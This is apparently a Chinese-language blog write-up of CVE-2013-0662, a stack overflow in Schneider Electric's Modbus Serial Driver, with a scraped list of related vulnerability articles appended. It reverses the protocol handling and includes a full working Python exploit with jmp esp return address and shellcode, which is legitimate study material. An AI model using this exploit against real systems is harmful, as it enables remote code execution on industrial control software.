前言

Schneider Electric Modbus Serial Driver 会监听 27700 端口,程序在处理客户端发送的数据时会导致栈溢出。

测试环境: windows xp sp3

相关文件链接

链接:https://pan.baidu.com/s/1d_-WT6gUJmbnJ8cRfCNl1g
提取码:qnpb

漏洞分析

下载安装程序,安装完成后,程序会监听 27700 端口

可以看到监听端口的进程名为 ModbusDrv.exe , 把它拿 IDA 打开进行后续分析。

定位协议处理代码

对于 TCP 服务端程序来说,接收数据一般是用 recv 函数,所以在分析未知协议的数据格式时,我们可以在 IDA 中搜索 recv 函数的引用找到对协议数据处理的部分,或者直接在 recv 函数下断点, 然后往接收数据的缓冲区处设置读/写断点来找到数据处理部分。

使用 IDA 交叉引用定位

这个程序比较简单只有一个地方引用了 recv 函数。

这个函数就是对 recv 函数进行了一层封装,作用是接收到 len 的数据才返回 1 ,否则返回 0. 继续对这个函数进行交叉引用, 发现也只有一个函数用到了这个接收数据函数。

跳过去看看

可以发现首先接收 7 字节的数据, 然后从接收到的数据里面取出一些 short 型数据。这里我们可以发送一些数据来测试一下。

def test():
ip = "192.168.245.134"
port = 27700
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
payload = "aabbccddeeff11223344".decode("hex")
sock.send(payload)

调试器调试发现 payload 的前 7 个字节( aabbccddeeff11 ) 被接收到了缓冲区内, 由此可以确定定位到了数据处理的起始位置。

使用调试器的硬件断点定位

我们还可以使用调试器来快速定位数据处理的代码所在的位置。首先附加上程序, 然后给 recv 函数下个断点

bp recv

然后运行程序, 再次运行测试脚本。程序会在 recv 函数位置断下来, 此时我们可以从栈里面拿到保存数据的缓冲区地址。

单步运行到 recv 函数的末尾, 查看缓冲区数据,可以看到客户端发送的数据已经被存放缓冲区里面了。

此时我们在缓冲区的开头设置硬件断点。

然后继续运行, 会断在我们上面定位的函数里面

定位到数据处理部分后,我们继续往下分析。

首先接收 7 字节数据保存到 recv_buf 里面, 后面开始对接收的数据进行处理。在分析过程中为 recv_buf 创建了一个结构体辅助分析。

struct recv_struct
{
__int16 nop;
__int16 key;
__int16 size;
};

首先把输入数据的第 3,4 个字节按大端序存储到 key 这个 short 型变量里面, 然后把第 5,6个字节按大端序转成 short 型 减一后存储到 control_size

比如当我们输入 aabbccddeeff11 时, key 就为 0xccdd , 而 control_size 就是 0xeefe

解析完开头 7 个字节的数据后,会根据 key 的值选择进入的分支。

key 的值为 0xffff 时, 会再次调用 recv_until 函数, 此时的缓冲区还是原来栈上面的缓冲区,而 len 参数则是从我们输入数据的最开始 7 字节里面取出的 control_size. 通过观察栈的布局,我们知道栈缓冲区的大小只有 0x830 字节。

所以这里是栈溢出。但是这个地方是无法利用的原因是该处代码下面还有一些对格式的校验,如果不对的话就会直接调用 ExitThread 结束线程。

继续往下看。

上述代码的逻辑首先是通过 control_size 接收数据, 然后把接收到的数据的开头两个字节按照大端序的方式保存到 v14 里面, 当 v140x64 时会进入 handle_data 函数对后面的数据进行进一步的处理。传入的参数就是除去两字节开头的地址和剩下的数据长度。

函数首先就会把数据复制到函数的栈缓冲区里面,查看栈帧发现 local_buf 只有 0x5dc 字节。

我们可以通过覆盖这个函数的返回地址来完成漏洞利用。

漏洞利用

由于是 XP 系统, 没有 DEP , 可以采用 jmp esp + shellcode 的方式来完成利用。

def calc_exp():
shellcode = "\x90" * 100 # \x90 bad char bypass
shellcode += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
shellcode += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
shellcode += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
shellcode += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
shellcode += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
shellcode += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
shellcode += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
shellcode += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
shellcode += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
shellcode += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
shellcode += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00"
shellcode += "\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5"
shellcode += "\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a"
shellcode += "\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53"
shellcode += "\xff\xd5\x63\x61\x6c\x63\x00"
ip = "192.168.245.134"
port = 27700
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
payload = "\xaa\xbb" # 无用字段
payload += "\xff\xff" # 保证可以进入下一个 recv
payload += "\x07\x10" # size 域, 下一个 recv 的 size
payload += "\xdd" # padding
payload += "\x00\x64" # 进入 0x64 分支, 避免 end_thread 调用 exit
payload += "A" * 0x5dc
payload += p32(0x7ffa4512) # 通用 jmp esp , xp , 2k3
payload += shellcode
payload += "B" * (0x710 - 1 - 2 - 0x5dc - 4 - len(shellcode))
sock.send(payload)

主要是要设置一些字段保证可以顺利通过前面的一些校验。

漏洞修复

漏洞修复比较简单就是对长度字段进行了大小校验。

参考链接

https://www.exploit-db.com/exploits/45220

SEIG Modbus 3.4 CVE-2013-0662 漏洞分析与利用的更多相关文章

  1. FakeID签名漏洞分析及利用(二)

    本文转自:http://blog.csdn.net/l173864930/article/details/38409521 继上一次Masterkey漏洞之后,Bluebox在2014年7月30日又公 ...

  2. Vivotek 摄像头远程栈溢出漏洞分析及利用

    Vivotek 摄像头远程栈溢出漏洞分析及利用 近日,Vivotek 旗下多款摄像头被曝出远程未授权栈溢出漏洞,攻击者发送特定数据可导致摄像头进程崩溃. 漏洞作者@bashis 放出了可造成摄像头 C ...

  3. CVE-2016-10190 FFmpeg Http协议 heap buffer overflow漏洞分析及利用

    作者:栈长@蚂蚁金服巴斯光年安全实验室 -------- 1. 背景 FFmpeg是一个著名的处理音视频的开源项目,非常多的播放器.转码器以及视频网站都用到了FFmpeg作为内核或者是处理流媒体的工具 ...

  4. CVE-2016-10191 FFmpeg RTMP Heap Buffer Overflow 漏洞分析及利用

    作者:栈长@蚂蚁金服巴斯光年安全实验室 一.前言 FFmpeg是一个著名的处理音视频的开源项目,使用者众多.2016年末paulcher发现FFmpeg三个堆溢出漏洞分别为CVE-2016-10190 ...

  5. FakeID签名漏洞分析及利用(一)

    作者:申迪   转载请注明出处: http://blogs.360.cn/360mobile BlueBox于7月30日宣布安卓从2010年以来一直存在一个apk签名问题[1],并且会在今年Black ...

  6. word漏洞分析与利用

    众所周知,溢出漏洞从应用形式上可分为远程服务溢出漏洞和客户端(本地)溢出漏洞两类.远程服务溢出漏洞大家很熟悉了,红色代码.冲击波.振荡波等蠕虫都利用了此类漏洞,漏洞的调试和利用有相应的一套方法,前面的 ...

  7. 【转+自己研究】新姿势之Docker Remote API未授权访问漏洞分析和利用

    0x00 概述 最近提交了一些关于 docker remote api 未授权访问导致代码泄露.获取服务器root权限的漏洞,造成的影响都比较严重,比如 新姿势之获取果壳全站代码和多台机器root权限 ...

  8. SSRF漏洞分析与利用

    转自:http://www.4o4notfound.org/index.php/archives/33/ 前言:总结了一些常见的姿势,以PHP为例,先上一张脑图,划√的是本文接下来实际操作的 0x01 ...

  9. 一步一步pwn路由器之wr940栈溢出漏洞分析与利用

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 这个是最近爆出来的漏洞,漏洞编号:CVE-2017-13772 固 ...

随机推荐

  1. 利用nodejs安装并运行express的三个坑

    概述 这是我安装并运行express的三个坑,应该是比较常见的,在此记录一下. 内容 express不是内部或外部命令 输入命令:express -V 报错:'express' 不是内部或外部命令,也 ...

  2. 解决tomcat启动慢问题

    启动慢修改如下: 在catalina.sh中加入这么一行: JAVA_OPTS="-Djava.security.egd=file:/dev/./urandom" 打开$JAVA_ ...

  3. Flask源码复习之路由

    构建路由规则 一个 web 应用不同的路径会有不同的处理函数,路由就是根据请求的 URL 找到对应处理函数的过程. 在执行查找之前,需要有一个规则列表,它存储了 url 和处理函数的对应关系.最容易想 ...

  4. Java中IO流中的装饰设计模式(BufferReader的原理)

    本文粗略的介绍下JavaIO的整体框架,重在解释BufferReader/BufferWriter的演变过程和原理(对应的设计模式) 一.JavaIO的简介 流按操作数据分为两种:字节流与字符流. 流 ...

  5. 【WebAPI No.5】Core WebAPI中的自定义格式化

    介绍 Web API为JSON和XML提供媒体类型格式化程序.框架默认将这些格式化程序插入管道中.客户端可以在HTTP请求的Accept标头中请求JSON或XML. 格式化数据这个东西,其实没有什么最 ...

  6. 从零开始学 Web 之 DOM(一)DOM的概念,对标签操作

    大家好,这里是「 Daotin的梦呓 」从零开始学 Web 系列教程.此文首发于「 Daotin的梦呓 」公众号,欢迎大家订阅关注.在这里我会从 Web 前端零基础开始,一步步学习 Web 相关的知识 ...

  7. Spring Boot + Spring Cloud 构建微服务系统(四):容错机制和熔断(Hystrix)

    雪崩效应 在微服务架构中,由于服务众多,通常会涉及多个服务层级的调用,而一旦基础服务发生故障,很可能会导致级联故障,进而造成整个系统不可用,这种现象被称为服务雪崩效应.服务雪崩效应是一种因“服务提供者 ...

  8. await和async在一般处理程序中的使用

    写在前面 有个小项目,前端使用的html页面,那服务端的业务处理就采用最简单的一般处理程序了,之前一直在用,觉得一直用一种方式,确实挺蛋疼的,之前也有了解过async和await的内容.就想着自己折腾 ...

  9. MongoDB 系列文章

    MongoDB 系列文章 本文的内容是基于 MongoDB 4.0 的. 参考于 MongoDB 4.0 官方文档. 搭建 MongoDB从搭建到优化 MongoDB-副本集搭建与管理 管理 Mong ...

  10. An Exploration of ARM TrustZone Technology

    墙外通道:https://genode.org/documentation/articles/trustzone ARM TrustZone technology has been around fo ...